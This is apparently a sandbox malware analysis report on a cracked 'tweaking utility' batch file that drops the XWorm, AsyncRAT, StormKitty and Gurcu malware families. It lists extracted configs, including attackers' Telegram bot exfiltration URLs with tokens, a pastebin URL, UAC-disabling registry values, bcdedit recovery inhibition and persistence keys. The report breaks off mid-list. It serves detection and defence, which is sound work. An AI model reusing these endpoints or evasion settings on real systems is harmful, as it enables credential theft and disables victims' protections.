asyncrat | 16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

Resubmissions

13-08-2024 20:57

240813-zrvpzszgrn 10

Analysis

max time kernel
153s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
13-08-2024 20:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.bat
Size

672KB
MD5

f9ca73d63fe61c4c401528fb470ce08e
SHA1

584f69b507ddf33985673ee612e6099aff760fb1
SHA256

16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca
SHA512

6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de
SSDEEP

3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Score

10^/10

asyncrat gurcu stormkitty xworm default credential_access defense_evasion discovery evasion execution persistence privilege_escalation ransomware rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%ProgramData%
install_file
MicrosoftEdgeUpdate.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot6701075763:AAGkvv2CpqBxGihH8FtOkSA7Uxy35GZpAFI/sendMessage?chat_id=5991331733

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot6701075763:AAGkvv2CpqBxGihH8FtOkSA7Uxy35GZpAFI/sendMessage?chat_id=5991331733

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

gurcu

https://api.telegram.org/bot6701075763:AAGkvv2CpqBxGihH8FtOkSA7Uxy35GZpAFI/sendMessage?chat_id=5991331733

https://api.telegram.org/bot6701075763:AAGkvv2CpqBxGihH8FtOkSA7Uxy35GZpAFI/sendDocument?chat_id=599133173

https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=109642586

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\MicrosoftEdgeUpdate.exe	family_xworm
behavioral1/memory/1212-90-0x0000000000200000-0x000000000021C000-memory.dmp	family_xworm

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

Wub.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	Wub.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "2"	Wub.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\svchost.exe	family_stormkitty
behavioral1/memory/4764-95-0x0000000000E30000-0x0000000000E6E000-memory.dmp	family_stormkitty

UAC bypass 3 TTPs 9 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\svchost.exe	family_asyncrat

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
4084	bcdedit.exe
2284	bcdedit.exe
4744	bcdedit.exe
1752	bcdedit.exe
2532	bcdedit.exe
3356	bcdedit.exe
4328	bcdedit.exe
3856	bcdedit.exe
4940	bcdedit.exe
3228	bcdedit.exe
3600	bcdedit.exe
2172	bcdedit.exe
4028	bcdedit.exe
2148	bcdedit.exe

Disables taskbar notifications via registry modification
evasion

Drops startup file 2 IoCs

Processes:

MicrosoftEdgeUpdate.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.lnk	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.lnk	MicrosoftEdgeUpdate.exe

Executes dropped EXE 7 IoCs

Processes:

EXMservice.exeMicrosoftEdgeUpdate.exesvchost.exeMicrosoftEdgeUpdate.exeWub.exeWub.exeMicrosoftEdgeUpdate.exe

pid process

3116 EXMservice.exe
1212 MicrosoftEdgeUpdate.exe
4764 svchost.exe
3320 MicrosoftEdgeUpdate.exe
1344 Wub.exe
1952 Wub.exe
4516 MicrosoftEdgeUpdate.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
3116	EXMservice.exe
1212	MicrosoftEdgeUpdate.exe
4764	svchost.exe
3320	MicrosoftEdgeUpdate.exe
1344	Wub.exe
1952	Wub.exe
4516	MicrosoftEdgeUpdate.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

MicrosoftEdgeUpdate.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate = "C:\\ProgramData\\MicrosoftEdgeUpdate.exe"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ctfmon = "C:\\Windows\\System32\\ctfmon.exe"	reg.exe

Drops desktop.ini file(s) 8 IoCs

Processes:

svchost.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe

Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 2 IoCs

Possible Turn off User Account Control's privilege elevation for standard users.

defense_evasion persistence privilege_escalation

Executable Installer File Permissions Weakness

T1574.005

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	reg.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
remove IFEO.
defense_evasion

Clear Persistence
T1070.009

Processes:

Wub.exe

description ioc process

Delete value \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WubBlockLists Wub.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

6 pastebin.com
25 pastebin.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 icanhazip.com
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Drops file in System32 directory 1 IoCs

Processes:

Wub.exe

description ioc process

File created C:\Windows\SysWOW64\GroupPolicy\Machine\Registry.pol Wub.exe

description	ioc	process
Delete value	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WubBlockLists	Wub.exe

flow	ioc
6	pastebin.com
25	pastebin.com

flow	ioc
5	icanhazip.com

description	ioc	process
File created	C:\Windows\SysWOW64\GroupPolicy\Machine\Registry.pol	Wub.exe

Drops file in Windows directory 2 IoCs

Processes:

TiWorker.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1004 powershell.exe
792 powershell.exe
3888 powershell.exe
4836 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

netsh.exeWub.exeWub.execmd.exefindstr.exenetsh.execmd.exechcp.comsvchost.exechcp.com

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Wub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Wub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

cmd.exenetsh.exe

pid process

2028 cmd.exe
240 netsh.exe

pid	process
2028	cmd.exe
240	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Delays execution with timeout.exe 9 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

5008 timeout.exe
3668 timeout.exe
488 timeout.exe
3540 timeout.exe
4808 timeout.exe
3324 timeout.exe
4192 timeout.exe
5060 timeout.exe
4436 timeout.exe

pid	process
5008	timeout.exe
3668	timeout.exe
488	timeout.exe
3540	timeout.exe
4808	timeout.exe
3324	timeout.exe
4192	timeout.exe
5060	timeout.exe
4436	timeout.exe

Modifies data under HKEY_USERS 9 IoCs

Processes:

reg.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings\DownloadMode = "0"	reg.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000caf1ee75a4679e4c9d988b4c712a572e00000000020000000000106600000001000020000000c4cd37bd9062b847fd4268aedac3e860ba6049cb55331ad241a7e8515f47b0b6000000000e8000000002000020000000af84cabf27c92771dc31ed5885be721c51803ece7607786e3d44851f6b84b864200d0000fcbca1d6efaaec33d6c2f3ae302494f989422d081f4362b73e6ddcb078cf3ff5bd02d06cfcd928840264679ed73d4edf13520379bc7b43850eb2171add20dffddee7b2cb5d93bbb86acda8f4bf7df0d024fab3544e197907574c9e5d944a9fa3eb5383e113515cf5da41c8d2a9f206e4fc63e11742071fe3ac782d8573384bae845e9dee5525da9b3282224ffeb2625093aff968a54e2c3904288340f52f1135ccf9b312d4e51c4be1bd853aec1faf8d01e70dd21a5074ac887f51fa4e115fcfceedd60fd796d64ef8ac14c41f044e3749b2b4827ad30b40d2c7ed3c4c0a015aabdc4653df54c0f21a967c91a92b2ec4bcb6f911ed7acfdb8cefbc95a1ee35d5015c462ef1d0239b88b647de4f388112a84fdaba0e9e1686621ddd1c152b95fdb0603f29a523de1ecdea02e4b700a077048bae2e099491207f16b45b99271de33cff8eb8b8d9579becf4e850fc7d56bfe697599578083cb9a5d91bcb916853fbda9a323eec099a78caac78251e3bf224f6c6042e3af30b59a7ba76d6e6231e5007e4aa54883b91f9add0ca1518f7fb916213006068d3bae72c1453b6b9a522fee16f15b082e0dbeae9aaa1bd15a971ab93d522a055c513c59cd3f1b4c64e2835a4e04518c151716fabef0314cb7e1a7dadcf7bc804d4d952388ac5a4acbc46b9b7a4804a2723d45be66a1ddccc9474366929b17cfd0b58fac33f0113602bbacc3d9d43554b12eb11e638b335670f88caff7ddad9e49a713032e6509c06792fd0bab6cca20621295edc2a9a9ac29a031f64e820dbaaae60204f0831d0280dae450758e34f8f94897eeda29e9b3624f0def6c55f6727a218ff35ae3f9fa9ad34dd280381a90fa764cbc4ff41aab0ebe3f60c061f139125ba7d590e3474b7ff779ec808fd41d07d56c07a64f1631eaab5a6add93a5883a9506a0f4fff83d6052fce914a5b68fcaa90b4e3cca62ba616e6f2e12b1fac2dd5e888c6d2f43dc15f0dfa80019408ed64fa0b8a70d904592c980894a7cb85cccb668839ecf9ae4eb61f23d9634561964e8069beeac7006650c81d6504b241207a6f937a9b227350832a3b5d89f6c8acc8877cf0ec0f2cfc749c8b4dd240e7ed59faeae3336eaa059a7c68603a8dc2fc6be272e68a0086ee122a5741ee46c26e8ef3b05342f000e7ac9ac7e468c4320d16861cd522dbbc232fe7694927c9e901811e94d935a5b145690d9f15b571b9e279892d841ae666efceef3ed90f59d7a09e850ade570e211157eba19e2e1a838c8713d1fad4323a35ee1a6ff2084e2333607f4796ea981d1fd66757a9ad33e7079318034cb1ff0221e0d00de0ca65133fcf05886816d667f52e33e8077b3cce3e1d789b40dd2bc4210566f3570c85d1e896675b22855219c68b8e6deaf7cb9610b567c87c6a5fbca8dbb94799a53f0b21730de022a13eb640ad759e6a67661ab9003fe06c51119468ea8dd0e604b9c27068606bd7cb54b6830301fa5c157c2702852bd5b92b41f0764a9e9d015bc7356d1146cda6d49bd88aa30a277ba7e39bd91104415be575b38a6a39f1859785ce977d790c4d2fc3ebe2eac5f226866af9fef51aecb492fcf2935349fd27d572f75f5bb470a45e698ed5b0927fe3a32fd52f3bb2c3b7a0c8ea687ee4c94d2b9c91e9dad85f8b2e005f3a22b5abedd81c5b2f73a27a1e515bce2b004d1c8ce8ab269cd86a75dfbcabe0204853626b3acafa16d30a7156d7e97e4610502d5a52a5c3d76396d602a97d25bf2b1a54b038c2be7477a5e47598a8fe30cdfacd58f759beced74897738918b85573fd2714b86aaf35d731695bb3b2015ee1fab2b7229e9165a5b0c3326252fb6acacf389c0fae938a4c33bf4ee5d240b722d5b1ce32b003e79760b1466437acfcfac29abd47ee2a6295ff3d587a065dd885940335d3b41ecbb480017501272c2e8d87d06a0713c10905bebfd861f5b4ccefe6a60617f3d6aa361f4af961070ff95255e7dd200eb8f97a4f52e598610c45fdb0d29bbacf0355de7eeef64bd1924532cadeca54d0f4696f63b4351a0dca0c74b98fc3673ad07db6293d6fc4972edafb224b2d09c768fcfaf04c4941957a48891da45d9c0c5cbcc33d6e3c9a114b157eb257b8a43d794f8f2db517faa6bec17b1c6915db4ccbfbe73fc0e3adef5376db7e390093460239890876735e2ad7872a48012d5e6e1edf1c0bcd7c0dce7e3d589c30b6d41a084f92c3aebc974dc1cfd5b8448ac4e5e89ede6818efe0b6b61cf8ffb7c6afab72e4795711cb9a169ad0b321169b2d73cbb4d14b2b0de98e17ef1405de64f229a16b9fd3a1315433fdb3551797a1401ac0a044fe89356d1445746150231e27da7231ef56b021b0ff02f72bd056753b01d3b79b3a1ee20194bab83caf4d3e7614cc9a81934c1e7e92deed5fc3068cbef47fb1c9cbd1f05488d9ca4d92afa86831ced4b8b94623737c758a2ef91a5a0c0d03214a5b090f2b81f526ee9f741b57a463263709147d04e84dbed40db0743ec5d56df1e61bc154c48b1a8562a5d93adf103ccff30b569b3bb0532973efabbece385be136cfaa354e48c99324c97a4c06559b50af98d17d3f4afb1a0dd065f04ac064d1da9e901873100872f0e7d5327c5b4bd454a9d7be908c0c4ed4649673af2fd8185eff3c2e084ecd1591492c08332ea25b70d5f40d454b07aefb01c3bbb8343f134d6db97d96941b82f60c683a3d1dbfc506f83298d45363222c4621e65ddf9c94c58c17b5e01e541fe14e815bdf224dc1e46578708dd8f5a26de7506920e5fed1847b770598706bf89f772c843bff0d6c66788c62b82b62faafba80f34b5ef42f7d9796bb48f5886ed87544a83f898bcaa4f087fc79271396294bb3a6845f0e206176745271dafdd7b271d7c312b4ad5be3ea75378a9f67f40457290fc54a22650ea3d8b0999df4e41bcc18319ae2d65a0ab38bf7abb32a0e7a87448b25e5597819e3112ada14803b92bab7b4f912482a302e74da42ee92ea1ad9c621b711e00566099edfbb37cad9ca573d2bc777203eef5699b1218f46dc9983003fe864e16f757e77a1b801661f0c25fa1d5070b1a42ffc1e3cc2949a48aa23ba2676b806233746065fedb2262cdee9afffb68cd96383b6338c736f1316c7f0dbead758e38d065be36c0cf107fbe457e0d194bf1fe922188933231a7886e010e97876a75f9ebab11cc40f2df2ae4d1a159786b147c924625db426b9c7be6fc654ec01e6854a47405dace393197325a5b9adb9b8b17bbd536e77e41c93e42c424107bd80336dea3192f76e1239142108071614fd8b44a192e99ad44c8f8446b9406445940e8f22fb0578768d036347a981faf96390abb1770d770d431b93ee5dbf54e88bc003156d5dad61e16af4d80b4add84a1ebfd9838534f3567d2a390e3fb0dd5c30613b30d6ff04c78a925994c24a752c02e833d8af0a4ed1508c720e1cc403723e04cf7f12dc46735c75599a08ed2bbeff6f136f4953b985e633a908da4a6c1047b6f7a3cc69efeff6f87d9657096bab92bbc36cc82c3dea682bd7fcae80654a6e0b9c1a133d0cea855f3f85f596e02cbcb6f4e7001eda6c0a7bc7878e2403e90f27920462f6986c4e6ed45c6444fbe8b7fd096bec15301e4c9baee3e8e7feda94b4618525167b0988b2022fed1562bdda94054d68cefa88f76ad553c6d5edfa2e23368785c661639c295990696db2889bb9df62e6803299a1228f792ab6c5daaa0d1cca7228e703f4ac63afa621451b815700c4d0b1d55dc6d7a271649147611a8dfa89dae55b53f7be25a0fb7b0485c96df9cda22e8f093d745ea86edfa4a54f7c08a13af7985f0af7405e5daec3b482559ff8883fc4c71e387c2d4425517507d7e14246ade359d00440b3e1072ef0d77580c45dace49191e9bb1742835f40105883a629dfe26ca6375e0e68caa8620a1c3528a607418c1794dcf7ce9432881f338614d7b449d25ef902987efdced9c115fc69fc6e2c37390e8a21401799703def2215af74ad0f4f1914ae003adc310f20834d62612bc6187800b06df6e0d0fd1f381c4b448042dbc35f20b9a88e1b9a0fe97013c92e3e33ce85465b54123bdf1627a96315650214558e67d63b72139bcd2f6a3187d902cfc146fb185acd3694f4fffb3124dcc9938d1e4c0136e905e201fe3ea72df50978740845188db1f541e997a3dcf42839a46e1183ebdf8256ded9e33c255e0e3306238e6ecc7e06ca37014b5fa91024c4faea051e8f8ebfbb61ea1be0b8a6d049f92e1a3e34b2bf980c32988257bc2a1d42647f4ea60cb73abaedc720f155ed9e0abbd73cffc288454a720f586283d6fd68fa2ae1db971c7afd69197977f871fa7b0f58ac2dcfdae7f23bcc3124e1c1845cbfd2822fb0eb0965c021e8fc1a5cecce9bfa065b109e382226acbc628421e17e7a2fff96ffbbc60aa18c61a375b9ad7a747019585f30017a1f6d7402ef27976f68c919db096d8364fda4e548aa0f2f6c10bf18c8bcd718c0bd5a13ab59399cee47cb5b07b2a5872b628b8124e80c4633c002f3eb4e25a6e0e6d791211c487e5462ebe6bc189d6359629490d8e7ba00fdcbfcff2bbcad09ae58e6679d94b8f629818a9661c7ee59f8e29fc5469d81c2acd8274f6baa4844975a1197eaf4b82ac6e6fa0f41431ca77a2e32252f602351615e322bc0c48f9a3a82bce6c18e9a5b19f04cb829f5c2e07619a57d3b2c10bc323856c14459574189488665b2a670adc60e6ca93400000008f558ca1f86a1434644bbb4bacbaf9a085f218f20309c856b2c927b6eba23a750eddc0766a23d305eb480e1f93d5be333206520911b19a1c7eca4e8bda615dc9	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}\ApplicationFlags = "1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}\DeviceId = "001800101DE40390"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001800101DE40390 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000caf1ee75a4679e4c9d988b4c712a572e000000000200000000001066000000010000200000007a3e08f23c8dcd783a28af52da8165d39313c75f5e2f552ceb42c279ea7f84d9000000000e8000000002000020000000af9acad308fd2752fdacdf2530385954c8adcb87cc01789876c6fc4299c7ae9980000000c5f015c3c6fb8af21b1fb8bfff87212977f7f99dde743a91ac4f0966423efc95fc286f7092276fcf3a90f53cf981ebe6cecb9518d47e33c99a90a6b2b89f5a8cb201ba8ca5d7ecd9039550be142cf74879170164f9a560cec6138fa6d42ec5ccebbda610d3136ac4a8e2261d1baa043994c4032080462dd2ee24fad7194746bf40000000d0f130d5a7acc8f1a094067b94201fe2af85ed97f622af7dc4f9af822b5a0798152c85e4f6a0addd18eb779d49fa3e3414098db573356e2fabcc116524af21cb	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

4628 schtasks.exe

pid	process
4628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exeMicrosoftEdgeUpdate.exesvchost.exe

pid	process
1004	powershell.exe
1004	powershell.exe
792	powershell.exe
792	powershell.exe
1212	MicrosoftEdgeUpdate.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
4764	svchost.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe
1212	MicrosoftEdgeUpdate.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

Wub.exeWub.exe

pid process

1344 Wub.exe
1952 Wub.exe

pid	process
1344	Wub.exe
1952	Wub.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

